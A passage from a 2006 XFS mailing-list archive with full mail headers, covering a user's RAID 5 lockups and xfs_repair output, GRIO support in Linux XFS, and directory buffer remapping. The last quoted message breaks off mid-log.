h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=uMDzfrkCRLZqHUaCwdYg6T4VsBh3Z9bL67j9a+dH4UqZo55fpfngpvb5FO5gequBJ6pueJkQf8pXydsjQPqsANvfHusxKBk5NJqYwavtmNGVSE4nGKiRsAIml3bX46WRzDT0T/9j2j4oGgHADA0FiSx7DUcPoDGgcAfD52Z6OGQ= Received: by 10.49.75.2 with SMTP id c2mr3680884nfl; Wed, 11 Oct 2006 12:10:28 -0700 (PDT) Received: by 10.49.33.15 with HTTP; Wed, 11 Oct 2006 12:10:28 -0700 (PDT) Message-ID: Date: Wed, 11 Oct 2006 14:10:28 -0500 From: "Ian Williamson" To: "Eric Sandeen" , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems Subject: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <452CF770.5050902@sandeen.net> X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23055 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9262 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: notian@gmail.com Precedence: bulk X-list: xfs Status: O /dev/md0: Timing buffered disk reads: 286 MB in 3.01 seconds = 94.97 MB/sec For write I don't have pipebench installed, and this isn't internet facing at the moment, so I can't install it. I just ran an xfs_repair on /dev/md0 and it did this: ------------------------------------------------------------------------- ian@ionlinux:~$ sudo xfs_repair /dev/md0 Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 bad attribute format 0 in inode 260, resetting value - agno = 1 inode 135921976 - bad extent starting block number 955543538733351, offset 2405220210012692 bad data fork in inode 135921976 cleared inode 135921976 zero length extent (off = 0, fsbno = 0) in ino 136766006 bad data fork in inode 136766006 cleared inode 136766006 - agno = 2 inode 268439335 - bad extent starting block number 4389451776, offset 8989827926016 bad data fork in inode 268439335 cleared inode 268439335 - agno = 3 inode 402653478 - bad extent starting block number 6493419520, offset 123364807018496 bad data fork in inode 402653478 cleared inode 402653478 - agno = 4 - agno = 5 - agno = 6 - agno = 7 inode 939524376 - bad extent starting block number 384617748308622, offset 13946791523993872 bad data fork in inode 939524376 cleared inode 939524376 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 inode 2550140476 - bad extent starting block number 3836083423429920, offset 1232124454554406 bad data fork in inode 2550140476 cleared inode 2550140476 - agno = 20 - agno = 21 inode 2818586148 - bad extent starting block number 2465278532745658, offset 9727159296556827 bad data fork in inode 2818586148 cleared inode 2818586148 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - clear lost+found (if it exists) ... - clearing existing "lost+found" inode - deleting existing "lost+found" entry - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 entry "07 - Film Score Pt. II.mp3" at block 0 offset 312 in directory inode 135921969 references free inode 135921976 clearing inode number in entry at offset 312... entry "Torrent downloaded from Demonoid.com.txt" in shortform directory 136766004 references free inode 136766006 junking entry "Torrent downloaded from Demonoid.com.txt" in directory inode 136766004 - agno = 2 entry "robot_worldlight.png" at block 3 offset 2608 in directory inode 268436754 references free inode 268439335 clearing inode number in entry at offset 2608... - agno = 3 entry "automail.php" at block 0 offset 104 in directory inode 402653475 references free inode 402653478 clearing inode number in entry at offset 104... - agno = 4 - agno = 5 - agno = 6 - agno = 7 entry "core.write_compiled_include.php" at block 0 offset 808 in directory inode 939524356 references free inode 939524376 clearing inode number in entry at offset 808... - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 entry "auth.php" at block 0 offset 48 in directory inode 2550140475 references free inode 2550140476 clearing inode number in entry at offset 48... - agno = 20 - agno = 21 entry "IMG_0245.jpg" at block 0 offset 1944 in directory inode 2818581782 references free inode 2818586148 clearing inode number in entry at offset 1944... - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... rebuilding directory inode 135921969 rebuilding directory inode 2818581782 rebuilding directory inode 2550140475 rebuilding directory inode 268436754 rebuilding directory inode 402653475 rebuilding directory inode 939524356 - traversal finished ... - traversing all unattached subtrees ... - traversals finished ... - moving disconnected inodes to lost+found ... disconnected dir inode 3221929786, moving to lost+found Phase 7 - verify and correct link counts... done ------------------------------------------------------------------------- Right now I am copying a 20Gig directory off of the raid onto another drive with no problems. Does an xfs filesystem need to be repaired on a regular basis? Any ideas on what might be "corrupting" it? On 10/11/06, Justin Piszcz wrote: > A simple hdparm -t /dev/md0 for the read speed, but I'd be more interested > in write speed. > > dd if=/dev/zero | pipebench > /path/on/raid.dat > > Then report the write speed in MB/s. > > I assume this is on a regular PCI card, which is why I am interested in > the speeds. > > > On Wed, 11 Oct 2006, Ian Williamson wrote: > > > Justin, > > How would I go about benchmarking that? > > > > Eric, > > Sorry, but I'm not quite an expert on the internals of Linux. What are > > 4k stacks and how do I know if I have them. If it helps, I am using > > Ubuntu with a custom compiled Linux kernel. (This xfs/raid problem was > > also occured on the default Ubuntu server kernel...) > > > > Also, if that trace from /var/log/messages isn't of any use do you > > know where I can look to find more information on this? Is it possible > > that this is being caused b the cheap PCI SATA controller card that I > > am using? (It's the Rosewill RC-209) > > > > - Ian > > > > On 10/11/06, Justin Piszcz wrote: > > > Also, quick question-- What type of speed do you get with 4 drives > > > connected to 1 card vs. I have 8 drives connected to 3-4 cards. > > > > > > What speed write/read? > > > > > > Justin. > > > > > > On Wed, 11 Oct 2006, Ian Williamson wrote: > > > > > > > Eric, > > > > That's all I have for the event in /var/log/messages.. > > > > > > > > For the raid configuration I have the following: > > > > ian@ionlinux:~$ sudo mdadm --detail /dev/md0 > > > > Password: > > > > /dev/md0: > > > > Version : 00.90.03 > > > > Creation Time : Wed Sep 13 22:04:11 2006 > > > > Raid Level : raid5 > > > > Array Size : 732587712 (698.65 GiB 750.17 GB) > > > > Device Size : 244195904 (232.88 GiB 250.06 GB) > > > > Raid Devices : 4 > > > > Total Devices : 4 > > > > Preferred Minor : 0 > > > > Persistence : Superblock is persistent > > > > > > > > Update Time : Mon Oct 9 00:02:30 2006 > > > > State : clean > > > > Active Devices : 4 > > > > Working Devices : 4 > > > > Failed Devices : 0 > > > > Spare Devices : 0 > > > > > > > > Layout : left-symmetric > > > > Chunk Size : 64K > > > > > > > > UUID : 86770f56:8e4f51e5:fd754630:f1c65359 > > > > Events : 0.54082 > > > > > > > > Number Major Minor RaidDevice State > > > > 0 8 1 0 active sync /dev/sda1 > > > > 1 8 17 1 active sync /dev/sdb1 > > > > 2 8 33 2 active sync /dev/sdc1 > > > > 3 8 49 3 active sync /dev/sdd1 > > > > > > > > I really have no idea what could be causing this. Sometimes after > > > > restart it still won't work through Samba, and I can never perform > > > > massive local reads and writes, i.e. a recursive copy off of the raid. > > > > > > > > On 10/11/06, Eric Sandeen wrote: > > > > > Ian Williamson wrote: > > > > > > I am running XFS on a software raid 5. I am doing this with a PCI > > > > > > controller with 4 SATA drives attached to it. > > > > > > > > > > > > When I play my music over the network through Samba from the raid > > > > > > volume my audio client will often loose the connection. This isn't > > > > > > remediated until I restart the machine with the raid controller or > > > > > > wait for an unknown amount of time. Either way, the problem still > > > > > > persists. > > > > > > > > > > > > Initially I though that this was Samba's fault, but I think it may be > > > > > > xfs related due to what was in /var/log/messages: > > > > > > > > > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982701] Modules linked in: > > > > > > serio_raw i2c_nforce2 pcspkr forcedeth r8169 nvidia_agp agpgart > > > > > > i2c_core psmouse sg evdev xfs dm_mod sd_mod generic sata_nv ide_disk > > > > > > ehci_hcd ide_cd cdrom sata_sil ohci_hcd usbcore libata scsi_mod > > > > > > ide_generic processor > > > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982985] EIP: > > > > > > 0060:[] Not tainted VLI > > > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982986] EFLAGS: 00010246 > > > > > > (2.6.18 #1) > > > > > > > > > > It looks like you've edited this a bit too much, what came before this > > > > > in > > > > > the logs? > > > > > > > > > > Are you running on 4k stacks, out of curiosity? > > > > > > > > > > -Eric > > > > > > > > > > > > > > > > > -- > > > > Ian Williamson > > > > > > > > > > > > > > > > > -- > > Ian Williamson > > > > > -- Ian Williamson From owner-xfs@oss.sgi.com Wed Oct 11 13:34:36 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 13:34:46 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BKYYaG018660 for ; Wed, 11 Oct 2006 13:34:36 -0700 X-ASG-Debug-ID: 1160595137-16583-509-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mailer.gwdg.de (mailer.gwdg.de [134.76.10.26]) by cuda.sgi.com (Spam Firewall) with ESMTP id CD0B84913BC for ; Wed, 11 Oct 2006 12:32:17 -0700 (PDT) Received: from linux01.gwdg.de ([134.76.13.21]) by mailer.gwdg.de with esmtps (TLSv1:DES-CBC3-SHA:168) (Exim 4.60) (envelope-from ) id 1GXjnM-0004v6-2t; Wed, 11 Oct 2006 21:31:14 +0200 Received: from linux01.gwdg.de (localhost [127.0.0.1]) by linux01.gwdg.de (8.13.3/8.13.3/SuSE Linux 0.7) with ESMTP id k9BJUSUf012713; Wed, 11 Oct 2006 21:30:30 +0200 Received: from localhost (jengelh@localhost) by linux01.gwdg.de (8.13.3/8.13.3/Submit) with ESMTP id k9BJUR6Y012707; Wed, 11 Oct 2006 21:30:27 +0200 Date: Wed, 11 Oct 2006 21:30:27 +0200 (MEST) From: Jan Engelhardt To: "Phetteplace, Thad (GE Healthcare, consultant)" cc: Linux Kernel Mailing List , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: GRIO in Linux XFS? Subject: Re: GRIO in Linux XFS? In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23055 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9263 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jengelh@linux01.gwdg.de Precedence: bulk X-list: xfs Status: O > >what is the status of GRIO support in the Linux port of XFS? Called realtime volume. (http://en.wikipedia.org/wiki/XFS section 2.11) >Also, if the answer is 'non existent', what is the recommended >alternative? I've got an application that needs to stream a >huge amount of data to the harddrive without dropping any and >without blocking the sender. We will be pushing the limits >of our high-end raid striped disks. This seems the exactly >the type of thing GRIO was made for, but last I heard it was >missing from Linux XFS with no plans to add it. Any change >in that? I know I can get almost there with I/O priorities >and the RT features in 2.6... but its not quite the same >thing. > >Apologies if this has been beat to death here or elsewhere... >I've googled the heck out of this and rummaged around in the >list archives (as much as this fscking corporate firewall will >let me) with little result. I'll gladly RTFM if someone can >point me at the right one. :-/ > >Feel free to CC me on replies, as I read the LKML in digest >format. > >Thanks, > >Thad Phetteplace > >- >To unsubscribe from this list: send the line "unsubscribe linux-kernel" in >the body of a message to majordomo@vger.kernel.org >More majordomo info at http://vger.kernel.org/majordomo-info.html >Please read the FAQ at http://www.tux.org/lkml/ > -`J' -- From owner-xfs@oss.sgi.com Wed Oct 11 14:19:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 14:19:15 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BLJ7aG022501 for ; Wed, 11 Oct 2006 14:19:07 -0700 X-ASG-Debug-ID: 1160601504-30153-73-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by cuda.sgi.com (Spam Firewall) with ESMTP id C328848FA3C for ; Wed, 11 Oct 2006 14:18:24 -0700 (PDT) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9BLGx0O004184; Wed, 11 Oct 2006 17:16:59 -0400 Received: from pobox-2.corp.redhat.com (pobox-2.corp.redhat.com [10.11.255.15]) by int-mx1.corp.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9BLGwe0020767; Wed, 11 Oct 2006 17:16:58 -0400 Received: from [10.15.80.10] (neon.msp.redhat.com [10.15.80.10]) by pobox-2.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9BLGvpT028092; Wed, 11 Oct 2006 17:16:58 -0400 Message-ID: <452D5F49.70808@sandeen.net> Date: Wed, 11 Oct 2006 16:16:57 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Jan Engelhardt CC: "Phetteplace, Thad (GE Healthcare, consultant)" , Linux Kernel Mailing List , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: GRIO in Linux XFS? Subject: Re: GRIO in Linux XFS? References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23061 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9264 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Jan Engelhardt wrote: >> what is the status of GRIO support in the Linux port of XFS? > > Called realtime volume. > (http://en.wikipedia.org/wiki/XFS section 2.11) Well, not really. realtime was a part of the old griov1 setup on Irix, but realtime != GRIO. -Eric From owner-xfs@oss.sgi.com Wed Oct 11 15:31:48 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 15:31:59 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BMVjaG028886 for ; Wed, 11 Oct 2006 15:31:47 -0700 X-ASG-Debug-ID: 1160605862-28038-230-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from slurp.thebarn.com (cattelan-host202.dsl.visi.com [208.42.117.202]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1C68FD1892CF for ; Wed, 11 Oct 2006 15:31:02 -0700 (PDT) Received: from [127.0.0.1] (lupo.thebarn.com [10.0.0.10]) (authenticated bits=0) by slurp.thebarn.com (8.13.8/8.13.8) with ESMTP id k9BMTt7L055164; Wed, 11 Oct 2006 17:29:58 -0500 (CDT) (envelope-from cattelan@thebarn.com) X-ASG-Orig-Subj: Re: GRIO in Linux XFS? Subject: Re: GRIO in Linux XFS? From: Russell Cattelan To: Eric Sandeen Cc: Jan Engelhardt , "Phetteplace, Thad (GE Healthcare, consultant)" , Linux Kernel Mailing List , xfs@oss.sgi.com In-Reply-To: <452D5F49.70808@sandeen.net> References: <452D5F49.70808@sandeen.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-rUgm4z/onJn8nYmw2vy1" Date: Wed, 11 Oct 2006 17:29:55 -0500 Message-Id: <1160605795.5723.5.camel@xenon.msp.redhat.com> Mime-Version: 1.0 X-Mailer: Evolution 2.8.0-1mdv2007.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23062 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9265 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: xfs Status: O --=-rUgm4z/onJn8nYmw2vy1 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2006-10-11 at 16:16 -0500, Eric Sandeen wrote: > Jan Engelhardt wrote: > >> what is the status of GRIO support in the Linux port of XFS? > >=20 > > Called realtime volume. > > (http://en.wikipedia.org/wiki/XFS section 2.11) >=20 > Well, not really. realtime was a part of the old griov1 setup on Irix, > but realtime !=3D GRIO. the realtime allocator really should be renamed bitmap. griov1 relied on an fs allocator that would return in bounded time=20 so it could satisfy irix realtime requirements thus it was called "realtime". > -Eric >=20 --=20 Russell Cattelan --=-rUgm4z/onJn8nYmw2vy1 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQBFLXBiNRmM+OaGhBgRAnbxAJ98+dCC9c/n0ot67PX+JWsvf4IligCfcVN7 kx1fmBgydgnlWB1luXh4Tp8= =jtpP -----END PGP SIGNATURE----- --=-rUgm4z/onJn8nYmw2vy1-- From owner-xfs@oss.sgi.com Wed Oct 11 16:24:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 16:25:00 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9BNOkaG004666 for ; Wed, 11 Oct 2006 16:24:48 -0700 Received: from [134.14.55.89] (soarer.melbourne.sgi.com [134.14.55.89]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA10446; Thu, 12 Oct 2006 09:23:56 +1000 Message-ID: <452D7D1A.1020405@sgi.com> Date: Thu, 12 Oct 2006 09:24:10 +1000 From: Vlad Apostolov User-Agent: Thunderbird 1.5.0.7 (X11/20060909) MIME-Version: 1.0 To: Jan Engelhardt CC: "Phetteplace, Thad (GE Healthcare, consultant)" , Linux Kernel Mailing List , xfs@oss.sgi.com Subject: Re: GRIO in Linux XFS? References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9266 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: vapo@sgi.com Precedence: bulk X-list: xfs Status: O Jan Engelhardt wrote: >> what is the status of GRIO support in the Linux port of XFS? >> griov2 supports XFS Linux/Irix on local and cluster volumes but it is not an open source project. Please check this link for more information: http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi/0650/bks/SGI_Admin/books/GRIO2_AG/sgi_html/ch01.html > > Called realtime volume. > (http://en.wikipedia.org/wiki/XFS section 2.11) > > >> Also, if the answer is 'non existent', what is the recommended >> alternative? I've got an application that needs to stream a >> huge amount of data to the harddrive without dropping any and >> without blocking the sender. We will be pushing the limits >> of our high-end raid striped disks. This seems the exactly >> the type of thing GRIO was made for, but last I heard it was >> missing from Linux XFS with no plans to add it. Any change >> in that? I know I can get almost there with I/O priorities >> and the RT features in 2.6... but its not quite the same >> thing. >> >> Apologies if this has been beat to death here or elsewhere... >> I've googled the heck out of this and rummaged around in the >> list archives (as much as this fscking corporate firewall will >> let me) with little result. I'll gladly RTFM if someone can >> point me at the right one. :-/ >> >> Feel free to CC me on replies, as I read the LKML in digest >> format. >> >> Thanks, >> >> Thad Phetteplace >> >> - >> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in >> the body of a message to majordomo@vger.kernel.org >> More majordomo info at http://vger.kernel.org/majordomo-info.html >> Please read the FAQ at http://www.tux.org/lkml/ >> >> > > -`J' > From owner-xfs@oss.sgi.com Wed Oct 11 17:27:41 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 17:27:50 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9C0RbaG009994 for ; Wed, 11 Oct 2006 17:27:40 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA11857; Thu, 12 Oct 2006 10:26:52 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9C0Qo7Y5412719; Thu, 12 Oct 2006 10:26:50 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9C0Qlgr5416762; Thu, 12 Oct 2006 10:26:47 +1000 (AEST) Date: Thu, 12 Oct 2006 10:26:47 +1000 From: David Chinner To: Steve Lord Cc: David Chinner , Christoph Hellwig , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: Directories > 2GB Message-ID: <20061012002646.GP19345@melbourne.sgi.com> References: <20061004165655.GD22010@schatzie.adilger.int> <452AC4BE.6090905@xfs.org> <20061010015512.GQ11034@melbourne.sgi.com> <452B0240.60203@xfs.org> <20061010091904.GA395@infradead.org> <20061010233124.GX11034@melbourne.sgi.com> <452D2086.2020204@xfs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <452D2086.2020204@xfs.org> User-Agent: Mutt/1.4.2.1i X-archive-position: 9267 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Wed, Oct 11, 2006 at 11:49:10AM -0500, Steve Lord wrote: > David Chinner wrote: > >On Tue, Oct 10, 2006 at 10:19:04AM +0100, Christoph Hellwig wrote: > >>On Mon, Oct 09, 2006 at 09:15:28PM -0500, Steve Lord wrote: > >>>Hi Dave, > >>> > >>>My recollection is that it used to default to on, it was disabled > >>>because it needs to map the buffer into a single contiguous chunk > >>>of kernel memory. This was placing a lot of pressure on the memory > >>>remapping code, so we made it not default to on as reworking the > >>>code to deal with non contig memory was looking like a major > >>>effort. > >>Exactly. The code works but tends to go OOM pretty fast at least > >>when the dir blocksize code is bigger than the page size. I should > >>give the code a spin on my ppc box with 64k pages if it works better > >>there. > > > >The pagebuf code doesn't use high-order allocations anymore; it uses > >scatter lists and remapping to allow physically discontiguous pages > >in a multi-page buffer. That is, the pages are sourced via > >find_or_create_page() from the address space of the backing device, > >and then mapped via vmap() to provide a virtually contigous mapping > >of the multi-page buffer. > > > >So I don't think this problem exists anymore... > > I was not referring to high order allocations here, but the overhead > of doing address space remapping every time a directory is accessed. Ah - ok. contig -> non-contig and OOM is usually discussed in the context of higher order allocations failing. FWIW, I've not noticed any extra overhead - the CPU usage seems to grow roughly linearly with the increase in directory operations done as a result of higher throughput for the same number of I/Os. I'll have a look at the Vm stats, though, next time I run a comparison to see how bad this is. Thanks for the clarification, Steve. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Wed Oct 11 18:13:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 18:13:47 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9C1DXaG013062 for ; Wed, 11 Oct 2006 18:13:36 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA12875; Thu, 12 Oct 2006 11:12:46 +1000 Date: Thu, 12 Oct 2006 11:12:46 +1000 From: Timothy Shimmin To: Ian Williamson , xfs@oss.sgi.com Subject: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems Message-ID: In-Reply-To: References: <452CF770.5050902@sandeen.net> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9268 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Hi Ian, --On 11 October 2006 2:10:28 PM -0500 Ian Williamson wrote: > /dev/md0: > Timing buffered disk reads: 286 MB in 3.01 seconds = 94.97 MB/sec > > For write I don't have pipebench installed, and this isn't internet > facing at the moment, so I can't install it. > > I just ran an xfs_repair on /dev/md0 and it did this: > ------------------------------------------------------------------------- > ian@ionlinux:~$ sudo xfs_repair /dev/md0 > Phase 1 - find and verify superblock... > Phase 2 - using internal log > - zero log... > - scan filesystem freespace and inode maps... > - found root inode chunk > Phase 3 - for each AG... > - scan and clear agi unlinked lists... > - process known inodes and perform inode discovery... > - agno = 0 > bad attribute format 0 in inode 260, resetting value > - agno = 1 > inode 135921976 - bad extent starting block number 955543538733351, > offset 2405220210012692 > bad data fork in inode 135921976 > cleared inode 135921976 > zero length extent (off = 0, fsbno = 0) in ino 136766006 > bad data fork in inode 136766006 > cleared inode 136766006 > - agno = 2 > inode 268439335 - bad extent starting block number 4389451776, offset > 8989827926016 > bad data fork in inode 268439335 > cleared inode 268439335 > - agno = 3 > inode 402653478 - bad extent starting block number 6493419520, offset > 123364807018496 > bad data fork in inode 402653478 > cleared inode 402653478 > - agno = 4 > - agno = 5 > - agno = 6 > - agno = 7 > inode 939524376 - bad extent starting block number 384617748308622, > offset 13946791523993872 > bad data fork in inode 939524376 > cleared inode 939524376 > - agno = 8 > - agno = 9 > - agno = 10 > - agno = 11 > - agno = 12 > - agno = 13 > - agno = 14 > - agno = 15 > - agno = 16 > - agno = 17 > - agno = 18 > - agno = 19 > inode 2550140476 - bad extent starting block number 3836083423429920, > offset 1232124454554406 > bad data fork in inode 2550140476 > cleared inode 2550140476 > - agno = 20 > - agno = 21 > inode 2818586148 - bad extent starting block number 2465278532745658, > offset 9727159296556827 > bad data fork in inode 2818586148 > cleared inode 2818586148 > - agno = 22 > - agno = 23 > - agno = 24 > - agno = 25 > - agno = 26 > - agno = 27 > - agno = 28 > - agno = 29 > - agno = 30 > - agno = 31 > - process newly discovered inodes... > Phase 4 - check for duplicate blocks... > - setting up duplicate extent list... > - clear lost+found (if it exists) ... > - clearing existing "lost+found" inode > - deleting existing "lost+found" entry > - check for inodes claiming duplicate blocks... > - agno = 0 > - agno = 1 > entry "07 - Film Score Pt. II.mp3" at block 0 offset 312 in directory > inode 135921969 references free inode 135921976 > clearing inode number in entry at offset 312... > entry "Torrent downloaded from Demonoid.com.txt" in shortform > directory 136766004 references free inode 136766006 > junking entry "Torrent downloaded from Demonoid.com.txt" in directory > inode 136766004 > - agno = 2 > entry "robot_worldlight.png" at block 3 offset 2608 in directory inode > 268436754 references free inode 268439335 > clearing inode number in entry at offset 2608... > - agno = 3 > entry "automail.php" at block 0 offset 104 in directory inode > 402653475 references free inode 402653478 > clearing inode number in entry at offset 104... > - agno = 4 > - agno = 5 > - agno = 6 > - agno = 7 > entry "core.write_compiled_include.php" at block 0 offset 808 in > directory inode 939524356 references free inode 939524376 > clearing inode number in entry at offset 808... > - agno = 8 > - agno = 9 > - agno = 10 > - agno = 11 > - agno = 12 > - agno = 13 > - agno = 14 > - agno = 15 > - agno = 16 > - agno = 17 > - agno = 18 > - agno = 19 > entry "auth.php" at block 0 offset 48 in directory inode 2550140475 > references free inode 2550140476 > clearing inode number in entry at offset 48... > - agno = 20 > - agno = 21 > entry "IMG_0245.jpg" at block 0 offset 1944 in directory inode > 2818581782 references free inode 2818586148 > clearing inode number in entry at offset 1944... > - agno = 22 > - agno = 23 > - agno = 24 > - agno = 25 > - agno = 26 > - agno = 27 > - agno = 28 > - agno = 29 > - agno = 30 > - agno = 31 > Phase 5 - rebuild AG headers and trees... > - reset superblock... > Phase 6 